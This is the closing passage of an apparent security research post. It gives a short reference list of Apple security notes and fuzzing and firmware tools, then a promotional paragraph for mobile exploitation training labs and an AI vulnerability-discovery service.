References

  • About the security content of macOS Tahoe 26.6.2, Apple
  • TinyInst, Google Project Zero
  • LibAFL
  • blacktop/ipsw

Want to learn binary patch diffing, fuzzing harness construction, and exploit development for mobile and native platforms? Mobile Hacking Lab provides pre-configured virtual labs where you practice real reverse engineering and exploitation. Start with the free labs, or jump to iOS Userland Fuzzing & Exploitation. For discovering bugs like this at scale, see Djini.ai, AI-powered vulnerability discovery for OOB reads, memory corruption, and logic flaws across mobile and native codebases.